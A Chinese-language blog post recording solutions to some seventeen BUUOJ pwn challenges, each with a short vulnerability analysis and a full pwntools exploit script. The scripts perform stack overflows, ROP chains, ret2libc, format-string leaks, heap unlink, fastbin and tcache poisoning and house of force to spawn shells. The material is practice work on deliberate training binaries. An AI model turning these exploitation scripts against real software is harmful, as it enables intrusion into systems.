0%

BUU刷题记录

继多日未做题后的第一次做题,有时间就写写,之前做的题目就懒得再写了(没错,懒🐕说的就是👴了)。

PicoCTF_2018_buffer_overflow_1

基本啥保护都没开,水题,ret2win
exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level='debug'
#p=process('./PicoCTF_2018_buffer_overflow_1')
p=remote('node3.buuoj.cn',27371)
elf=ELF('./PicoCTF_2018_buffer_overflow_1')

buf=0x28
win=0x80485cb

payload='a'*buf+p32(0)+p32(win)
p.sendline(payload)
p.interactive()

PicoCTF_2018_buffer_overflow_2

开了NX,水题,ret2win的时候记得加两个参数

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level='debug'
#p=process('./PicoCTF_2018_buffer_overflow_2')
p=remote('node3.buuoj.cn',25990)
elf=ELF('./PicoCTF_2018_buffer_overflow_2')

buf=0x6c
win=0x80485cb
p.recvuntil('string:')
payload='a'*buf+p32(0)+p32(win)+'aaaa'+p32(0xDEADBEEF)+p32(0xDEADC0DE)
p.send(payload)
p.interactive()

0ctf_2017_babyheap

初步观察使用calloc,free后置空,但是存在堆溢出,可以add到fastbin修改malloc_hook为onegadget,这里有一个gadget可用
注意这里泄露地址,一开始我没想到,利用的是扩充堆.
edit可以改变size,但是改变不了记录堆信息位置的size,
为了输出足够长,就要用前一个堆溢出改变size字段,另外注意后一个堆块伪造大小和前面对上。
另外注意伪造之后把这个堆edit free后进行修复,不然会报错.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
#p=process('./0ctf_2017_babyheap')
p=remote('node3.buuoj.cn',29740)
elf=ELF('./0ctf_2017_babyheap')

def add(size):
p.recvuntil('Command: ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
def edit(index,content):
p.recvuntil('Command: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)
def free(index):
p.recvuntil('Command: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))

def show(index):
p.recvuntil('Command: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))

add(0x18)#0
add(0x30)#1
add(0x80)#2
add(0x18)#3
add(0x68)#4

payload=p64(0)*3+p64(0x71)
edit(2,payload)
payload='a'*0x18+p64(0x61)
edit(0,payload)
free(1)
add(0x50)#1
payload='a'*0x38+p64(0x91)
edit(1,payload)
free(2)# unsorted
payload='a'*0x38+'b'*8
edit(1,payload)
show(1)
#gdb.attach(p)
#pause()
p.recvuntil('bbbbbbbb')
unsorted=u64(p.recv(6).ljust(8,'\x00'))
malloc_hook=unsorted-0x58-0x10
print(hex(malloc_hook))
base=malloc_hook-0x3c4b10
one_gadget=base+0x4526a

#xiu fu recover
payload='a'*0x38+p64(0x91)

edit(1,payload)
add(0x60)#2 to recover
free(4)
payload='a'*0x18+p64(0x71)+p64(malloc_hook-0x23)
edit(3,payload)

add(0x68)#4
add(0x68)#5
payload='a'*0x13+p64(one_gadget)
edit(5,payload)

add(0x10)#getshell
p.interactive()

axb_2019_heap

libc2.23的64位堆题目,因为存在全局变量note,所以可以使用unlink攻击,开启PIE,开始有一个格式化字符串,使用格式化字符串泄露地址(根据栈上内容调试泄露),free后置空所以没有uaf
这里泄露的地址可以大致看一下,输入的是%14$p.%15$p
先到printf这里断一下看一下栈上内容



接下来看一下我们格式化字符串的输出



这个地址就是PIE 偏移的libccsu_init函数地址(泄露PIE)和__libc_start_main+240的函数地址(泄露libc基址)
进而通过计算得出PIE和libc基址
这里注意一下进行unlink的时候的全局变量note的存储结构






接下来就直接通过unlink修改global表的位置,将idx=2(global[4])的位置的内容修改成指向global[1]位置(idx=2-0x18),然后修改idx=1的指针指向,指向freehook或者mallochook,修改成system或者onegadget就可以getshell,下面的exp两种方法都写了
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
#p=process('./axb_2019_heap')
p=remote('node3.buuoj.cn',29498)
elf=ELF('./axb_2019_heap')

def add(inx,size,data):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('create (0-10):')
p.sendline(str(inx))
p.recvuntil('a size:')
p.sendline(str(size))
p.recvuntil('content: ')
p.send(data)

def free(inx):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(inx))

def edit(inx,data):
p.recvuntil('>> ')
p.sendline('4')
p.recvuntil('index')
p.sendline(str(inx))
p.recvuntil('content: ')
p.send(data)

p.recvuntil('your name: ')
p.sendline('%14$p.%15$p')
p.recvuntil('Hello, ')
pie=int(p.recv(14),16)-0x1200
p.recvuntil('.')
__libc_start_main=int(p.recv(14),16)-240
libc_base=__libc_start_main-0x20740
print(hex(pie))
print(hex(libc_base))
global_addr=pie+0x202060
system=libc_base+0x045390
free_hook=libc_base+0x03c67a8
onegadget=libc_base+0xf1147
malloc_hook=libc_base+0x03c4b10
print(hex(global_addr))
victim=global_addr+0x20
add(0,0x88,'/bin/sh\x00\n')
add(1,0x88,'a\n')
add(2,0x88,'a\n')
add(3,0x88,'a\n')

payload=p64(0)+p64(0x80)+p64(victim-0x18)+p64(victim-0x10)
payload=payload.ljust(0x80,'a')
payload+=p64(0x80)+p8(0x90)+'\n'
edit(2,payload)
free(3)
#one_gadget
'''
payload=p64(0x88)+p64(malloc_hook)+'aa\n'
edit(2,payload)
edit(1,p64(onegadget)+'\n')
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('create (0-10):')
p.sendline(5)
p.recvuntil('a size:')
p.sendline('0x88')
p.recvuntil('content: ')
p.interactive()
'''
#free_hook
payload=p64(0x88)+p64(free_hook)+'aa\n'
edit(2,payload)
edit(1,p64(system)+'\n')
free(0)
p.interactive()

hitcontraining_heapcreator

64位libc2.23堆题目,未开启pie保护,free后置空了,单字节溢出,有global数组,(开始想麻烦了,想用unlink做),可以存放十个chunk,考虑使用overlap
正确思路:
单字节溢出修改堆大小,将维护chunk放在信息chunk后覆盖写入free_got地址,show输出对应地址泄露libc,修改free得got表地址为system,free含/bin/sh的堆块getshell
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
#p=process('./heapcreator')
p=remote('node3.buuoj.cn',29198)
elf=ELF('./heapcreator')
global_addr=0x6020a0
def add(size,data):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Heap :')
p.sendline(str(size))
p.recvuntil('heap:')
p.send(data)

def edit(inx,data):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index')
p.sendline(str(inx))
p.recvuntil('heap :')
p.send(data)

def show(inx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index')
p.sendline(str(inx))
p.recvuntil('Content : ')

def free(inx):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('Index')
p.sendline(str(inx))

add(0x18,'a')
add(0x10,'a')
#change the info_chunk size to 0x41
edit(0,'/bin/sh\x00'+'a'*0x10+'\x41')#hack the size
free(1)
free_got = elf.got['free']
add(0x30,p64(0)*4+p64(0x30)+p64(free_got))
show(1)
libc=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x844f0
print(hex(libc))
system=libc+0x045390
edit(1,p64(system)) #to change free_got
free(0) #system('/bin/sh\x00')
p.interactive()

ciscn_s_9

ubuntu18,32位ret2libc,水题不解释
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
#p=process('./ciscn_s_9')
p=remote('node3.buuoj.cn',25569)
elf=ELF('./ciscn_s_9')
main=elf.symbols['main']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
offset=36
p.recvuntil('>')
payload=offset*'a'+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendline(payload)
p.recvuntil('~\n')
puts_addr=u32(p.recv(4))
print(hex(puts_addr))

libc=puts_addr-0x067360
bin_sh=libc+0x17b8cf
system=libc+0x03cd10
p.recvuntil('>')
payload=offset*'a'+p32(system)+p32(main)+p32(bin_sh)
p.sendline(payload)
p.interactive()

ciscn_final_5

64位,ubuntu18堆题目,tcache机制。
分析,只有add,edit,free,考虑使用unsorted 泄露地址,修改free的got表泄露地址和getshell
由于判断不严谨使得0x0和0x10是一样的,导致0x10的堆溢出,同时0x10堆无法直接修改,可以通过修改0x0修改
这个溢出是为什么呢?

  • 这里是因为:
    add的时候,由于buf后几位是0x260,index是0x10,也就是说二者’或’之后是0x270,size大小不变情况下,存放chunk位置的地方向后移位0x10,edit会向后多写0x10

解题思路:
利用溢出0x10来修改fd,add一个unsorted并free再次add,随后利用tcache attack在free_got的位置add一个chunk,修改为puts利用unsorted bins attack泄露libc基址,再次修改free_got地址为system,free一个含/bin/sh\x00的堆块getshell
注意这里chunk储存,记得计算相应填充和偏移,以及位置改变造成的index改变
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level='debug'
#p=process('./ciscn_final_5')
p=remote('node3.buuoj.cn',27559)
elf=ELF('./ciscn_final_5')
free_plt=elf.plt['free']
free_got=elf.got['free']
puts_plt=elf.plt['puts']
def add(index,size,content):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(index))
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('content: ')
p.send(content)

def free(index):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(index))

def edit(index,content):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(index))
p.recvuntil('content: ')
p.send(content)

add(0x10,0x18,'a')#0
add(1,0x68,'a')#1
add(4,0x500,'a')#4
add(2,0x28,'/bin/sh\x00')#2
free(4)
free(1)
payload='a'*8+p64(0x71)+p64(free_got)
edit(0,payload)

add(3,0x68,p64(free_got))#3
add(5,0x68,p64(puts_plt))#5
add(4,0x500,'aaaaaaaa')
free(4)
p.recvuntil('aaaaaaaa')
malloc_hook=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x60-0x10
print(hex(malloc_hook))
libc=malloc_hook-0x03ebc30
system=libc+0x04f440
payload='a'*8+p64(system) #0x602010 +0x8
edit(13,payload)#0x60201d ->13
free(2)
p.interactive()

PicoCTF_2018_can-you-gets-me

静态链接,水题直接打
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
from struct import pack
context.log_level='debug'
context.arch = 'amd64'
#sh=process('./PicoCTF_2018_can-you-gets-me')
sh=remote('node3.buuoj.cn',26595)
elf=ELF('./PicoCTF_2018_can-you-gets-me')


# Padding goes here
p = ''

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

sh.recvuntil("ME")
offset=0x1c
payload=offset*'a'+p
sh.sendline(payload)
sh.interactive()

PicoCTF_2018_shellcode

静态链接shellcode,水题,直接用shellcraft打
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from struct import pack
context.log_level='debug'
context.arch = 'i386'
#sh=process('./PicoCTF_2018_shellcode')
sh=remote('node3.buuoj.cn',29766)
elf=ELF('./PicoCTF_2018_shellcode')


shellcode=asm(shellcraft.sh())
sh.recvuntil("string")
payload=shellcode
sh.sendline(payload)
sh.interactive()

ACTF_2019_babystack

libc2.27 x64位栈迁移 要注意的是迁移后8位’a’填充,以及payload发送时候使用send发送,避免多发送,这里使用system打不通所以用onegadget
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from struct import pack
context.log_level='debug'
context.arch = 'amd64'
#p=process('./ACTF_2019_babystack')
p=remote('node3.buuoj.cn',26225)
elf=ELF('./ACTF_2019_babystack')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
main=0x4008f6
leave_ret=0x400a18
pop_rdi=0x0400ad3
pop_rsi=0x400ad1
p.recvuntil('>')
p.sendline(str(0xe0))
p.recvuntil(' at ')
stack=int(p.recv(14),16)
print(hex(stack))
#gdb.attach(p)
#pause()
payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0xd0,'a')
payload+=p64(stack)+p64(leave_ret)
p.recvuntil('message?')
p.send(payload)
p.recvuntil('Byebye~\n')
puts_addr=u64(p.recv(6).ljust(8,'\x00'))

print(hex(puts_addr))
libc=puts_addr-0x809c0
system=libc+0x4f440
bin_sh=libc+0x1b3e9a
one_gadget=libc+0x4f322

p.recvuntil('message?')
p.sendline(str(0xe0))
p.recvuntil(' at ')
stack=int(p.recv(14),16)

payload='a'*8+p64(one_gadget)+'\x00'*0xc0
payload+=p64(stack)+p64(leave_ret)
p.recvuntil('message?')
p.send(payload)
#!!!!warning send
p.interactive()

#PicoCTF_2018_buffer_overflow_1
32位,把flag读入bss段,只要栈溢出后用puts输出flag即可,唯一值得注意的是是用ssh连接上后做题
不过值得庆幸的是有pwntools,直接打就可
exp:

1
2
3
4
5
6
from pwn import *
context.log_level = "debug"
elf = ELF("./vuln")
payload = "a" * 0x18 + "b" * 0x4 + p32(elf.plt["puts"]) + p32(0xdeadbeef) + p32(0x0804A080)
p = process(argv=["./vuln" , payload])
p.interactive()

bcloud_bctf_2016

32位堆题目,libc2.23,house of force
大致先检查:发现在add/edit/free地方都没有明显漏洞,
这道题目的漏洞在开始的地方,读入一个内容复制后输出(本来以为是栈溢出,结果不是 )
主要漏洞所在:

  • 读入name处:
    name这里栈上紧邻的下一个就是name_chunk的位置,通过填充64个字符。可以进一步带出泄露chunk基址
  • 读入org和host处:
    org与org相邻

这样我们往org中传入64个字节,往Host中传入\xff\xff\xff\xff,当将org拷入arg指向的堆时,就会将org+org+Host一块考入,覆盖了后边的top chunk大小,导致top chunk无限大。
达成house of force后申请足够大堆块,到记录chunk的位置,加上free,atoi地址*2(这里是一个用来泄露atoi地址,一个换成systemgetshell)。

另外注意这里地址的计算,list在前面,所以add到list之前
注意这里-4是因为add的时候会自动+4,-7是为了对齐size=(chunk_num_list-8)-heap_addr-3*0x48- 4-7
还有一点要注意,在force攻击后,就无法输入content,所以直接进入下一步
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
context.log_level='debug'
context.arch = 'i386'
#p=process('./bcloud_bctf_2016')
p=remote('node3.buuoj.cn',28926)
elf=ELF('./bcloud_bctf_2016')
chunk_list=0x804B120
chunk_num_list=0x0804B0A0
puts_plt=elf.plt['puts']
def add(size,data):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('content:')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(data)

def edit(inx,data):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('the id:')
p.sendline(str(inx))
p.recvuntil('content:')
p.sendline(data)

def free(inx):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('id:')
p.sendline(str(inx))

p.recvuntil('name:')#0x40->
name='a'*60+'b'*4
p.send(name)
p.recvuntil('bbbb')
heap_addr=u32(p.recv(4))-0x8
print(hex(heap_addr))
#gdb.attach(p)
#pause()

p.recvuntil('Org:')#0x40
org='a'*64
p.send(org)
p.recvuntil('Host:')#0x40
host='\xff\xff\xff\xff'
p.sendline(host)
size=(chunk_num_list-8)-heap_addr-3*0x48- 4-7
#here -4 and -7
# 4 for size_t, 7 for malloc_allign
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('content:')
p.sendline(str(size))

payload = p32(16) * 3 + (chunk_list - chunk_num_list- 12) * 'a' + p32(elf.got['free']) + p32(elf.got['atoi']) * 2
add(1000,payload)
#gdb.attach(p)
#pause()
edit(0,p32(puts_plt))
free(1)
p.recv()
atoi_addr=u32(p.recv(4))
libc_base=atoi_addr-0x02d050
print(hex(libc_base))
system_addr=libc_base+0x03a940
edit(2,p32(system_addr))
p.recvuntil('option--->>')
p.sendline('/bin/sh\x00')
p.interactive()

xctf_b0verfl0w_2016

简单的32位ret2libc,唯一需要注意的是,本地和远程libc不同
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level='debug'
context.arch = 'i386'
#p=process('./b0verfl0w')
p=remote('node3.buuoj.cn',27058)
elf=ELF('./b0verfl0w')
main=0x804850e
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

offset=0x24
#50-36=14

p.recvuntil('name?')
payload='a'*offset+p32(puts_plt)+p32(main)+p32(puts_got)
p.sendline(payload)
p.recvuntil('\x0a\x2e')
puts_addr=u32(p.recv(4))
#remote success libc6-i386_2.23-0ubuntu11_amd64
libc=puts_addr-0x05f140
print(hex(libc))
system=libc+0x03a940
bin_sh=libc+0x15902b
'''
#local success libc6_2.23-0ubuntu10_i386
libc=puts_addr-0x05fca0
print(hex(libc))
system=libc+0x03ada0
bin_sh=libc+0x15ba0b
'''
p.recvuntil('name')
payload='a'*offset+p32(system)+p32(0)+p32(bin_sh)
p.sendline(payload)
p.interactive()

judgement_mna_2016

32位,格式化字符串直接泄露flag,注意偏移地址的计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0392| 0xffffcf10 --> 0xffffcfbc --> 0x80486f5 (<init+104>:	test   eax,eax)
0396| 0xffffcf14 --> 0x40 ('@') #!!!!@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
--More--(100/300)
0400| 0xffffcf18 --> 0xf7ffdad0 --> 0xf7ffda74 --> 0xf7fd3470 --> 0xf7ffd918 --> 0x0
0404| 0xffffcf1c --> 0xf7fd34a0 --> 0x8048397 ("GLIBC_2.0")
0408| 0xffffcf20 --> 0x1
0412| 0xffffcf24 --> 0x1
0416| 0xffffcf28 --> 0x0
0420| 0xffffcf2c --> 0xf7fb6000 --> 0x1b1db0
0424| 0xffffcf30 --> 0xf7e78ce5 (<strchr+5>: add edx,0x13d31b)
0428| 0xffffcf34 --> 0xf7fe796a (<_dl_fixup+394>: jmp 0xf7fe78d2 <_dl_fixup+242>)
0432| 0xffffcf38 --> 0xf7e622e9 (<__fopen_maybe_mmap+9>: add edx,0x153d17)
0436| 0xffffcf3c --> 0xf7e621ed (<_IO_fgets+157>: add esp,0x20)
0440| 0xffffcf40 --> 0xf7ffd000 --> 0x23f3c
0444| 0xffffcf44 --> 0x80482e8 --> 0x62696c00 ('')
0448| 0xffffcf48 --> 0x3f ('?')
0452| 0xffffcf4c --> 0xa ('\n')
0456| 0xffffcf50 --> 0x1
0460| 0xffffcf54 --> 0xf7e0f298 --> 0x2419
0464| 0xffffcf58 --> 0xf7fb6d60 --> 0xfbad2887
0468| 0xffffcf5c --> 0xf7e642d8 (<__GI__IO_setbuffer+200>: add esp,0x10)
0472| 0xffffcf60 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815)
0476| 0xffffcf64 --> 0x804a000 --> 0x8049f14 --> 0x1
0480| 0xffffcf68 --> 0x2
0484| 0xffffcf6c --> 0x1
0488| 0xffffcf70 --> 0xffffcfb8 --> 0xffffcfe8 --> 0x1
0492| 0xffffcf74 --> 0xf7fee010 (<_dl_runtime_resolve+16>: pop edx)
0496| 0xffffcf78 --> 0x804b0a0 --> 0x0
--More--(125/300)
0500| 0xffffcf7c --> 0xf7e93420 (<__strchr_sse2_bsf>: push edi)
0504| 0xffffcf80 --> 0x804a0a0 ("flag{0x804A0A0}") #!!!!@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level='debug'
context.arch = 'i386'
#p=process('./judgement_mna_2016')
p=remote('node3.buuoj.cn',28803)
elf=ELF('./judgement_mna_2016')
flag=0x0804a0a0
offset=0xcf80-0xcf10
print(offset/4)
p.recv()
payload='%28$s'
p.sendline(payload)
p.interactive()

oneshot_tjctf_2016

简单的输入函数地址,获得地址计算libc然后输入one_gadget
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level='debug'
context.arch = 'i386'
#p=process('./oneshot_tjctf_2016')
p=remote('node3.buuoj.cn',29574)
elf=ELF('./oneshot_tjctf_2016')
puts_got=elf.got['puts']

p.recvuntil('location?')
payload=str(puts_got)
p.sendline(payload)
p.recvuntil('Value: ')
puts_addr=int(p.recv(18),16)
print(hex(puts_addr))
base=puts_addr-0x06f690
print(hex(base))
one_gadget=base+0x45216
p.recvuntil('location?')
payload=str(one_gadget)
p.sendline(payload)
p.interactive()

ciscn_s_6

libc2.27 x64堆题目,tcache dup,tcache poisoning,free_hook,uaf
简单的uaf漏洞,利用tcache修改freehook为system即可
注意这道题目用malloc hook和one gadget打不通
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.log_level='debug'
#p=process('./ciscn_s_6')
p=remote('node3.buuoj.cn',29047)
elf=ELF('./ciscn_s_6')

def add(size,name,call):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil("size of compary's name")
p.sendline(str(size))
p.recvuntil('input name:')
p.send(name)
p.recvuntil('compary call:')
p.send(call)

def show(index):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('the index:')
p.sendline(str(index))
p.recvuntil('name:\n')
addr=u64(p.recvuntil('\x7f').ljust(8,'\x00'))
return addr

def free(index):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('the index:')
p.sendline(str(index))

add(0x500,'aa','11')#0
add(0x68,'aa','11')#1
free(0)
#gdb.attach(p)
#pause()
unsorted=show(0)
malloc_hook=unsorted-0x60-0x10
libc=malloc_hook-0x3ebc30
print(hex(unsorted))
print(hex(malloc_hook))
print(hex(libc))
one_gadget=libc+0x4f322
realloc=libc+0x98c30
free_hook=libc+0x3ed8e8
system=libc+0x04f440
bin_sh=libc+0x1b3e9a

#gdb.attach(p)
#pause()
add(0x68,'/bin/sh\x00','22')#2
free(1)
free(1)

'''
#all onegadget is useless, so we use free_hook here
add(0x68,p64(malloc_hook-0x10),'aa')#3
add(0x68,p64(malloc_hook-0x10),'aa')#4
add(0x68,'a'*8+p64(one_gadget)+p64(realloc+0xd),'bb')
'''
add(0x68,p64(free_hook),'aa')
add(0x68,p64(free_hook),'aa')
add(0x68,p64(system),'aa')
#0 2 4 6 0xb 0xc
#gdb.attach(p)
#pause()
free(2)
p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
'''

PicoCTF_2018_are_you_root

64位题目,主要是利用free后用户名残留部分可作为下一个的权限来getshell
add一个并设置权限为4

1
2
3
4
5
6
Logged in as aaaaaaaaaaaaaaaaa [4]
gdb-peda$ x/20gx 0x603660
0x603660: 0x0000000000000000 0x0000000000000021 维护信息的chunk
0x603670: 0x0000000000603690 0x0000000000000004 用户1用户名地址 权限
0x603680: 0x0000000000000000 0x0000000000000021
0x603690: 0x6161616161616161 0x6161616161616161

free的时候只会free掉用户名的地方,然后再次add就会在原来用户名地方add一个chunk
reset后

1
2
3
4
5
6
7
gdb-peda$ x/20gx 0x603660
0x603660: 0x0000000000000000 0x0000000000000021 维护信息的chunk
0x603670: 0x0000000000603690 0x0000000000000004 用户1用户名地址 权限
0x603680: 0x0000000000000000 0x0000000000000021
0x603690: 0x0000000000000000 0x6161616161616161 这里只清空了fd,bk也就是下一个chunk的权限字段没有变,可以进一步修改内容
再次add一个用户后查看权限
Logged in as aa [1633771873]

所以思路很明显了,通过用户名提前布置好下一个用户的权限,进而获得flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level='debug'
#p=process('./PicoCTF_2018_are_you_root')
p=remote('node3.buuoj.cn',27333)
elf=ELF('./PicoCTF_2018_are_you_root')

def reset():
p.recvuntil('> ')
p.sendline('reset')

def login(name):
p.recvuntil('> ')
p.sendline('login '+name)

def getflag():
p.sendline('get-flag')

payload='a'*8+p64(5)
login(payload)

reset()
login('aa')
getflag()
p.interactive()
好饿啊,早知道不学安全了